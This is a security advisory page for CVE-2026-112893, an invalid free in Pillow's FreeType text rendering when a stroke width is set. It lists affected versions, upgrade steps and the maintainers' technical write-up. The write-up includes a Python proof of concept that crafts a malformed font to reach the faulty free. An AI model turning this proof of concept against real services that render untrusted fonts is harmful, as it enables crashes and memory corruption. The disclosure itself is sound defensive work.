high · 8.2 Patched

Pillow: Invalid free in FreeType glyph rendering when a stroker is active

CVE-2026-112893 · GHSA-j4m9-6w36-pw47 · published 21 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.2 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-112893?

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Who is affected

  • pillow (PyPI) >= 10.0.0, < 13.0.0

How to check

  1. Run pip show pillow in your project to see the installed version, including copies pulled in by other packages.
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How to fix

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  1. Upgrade pillow to 13.0.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) loca_long = tt["head"].indexToLocFormat tt.close() raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0] if loca_long: o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw) f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.

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References

Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON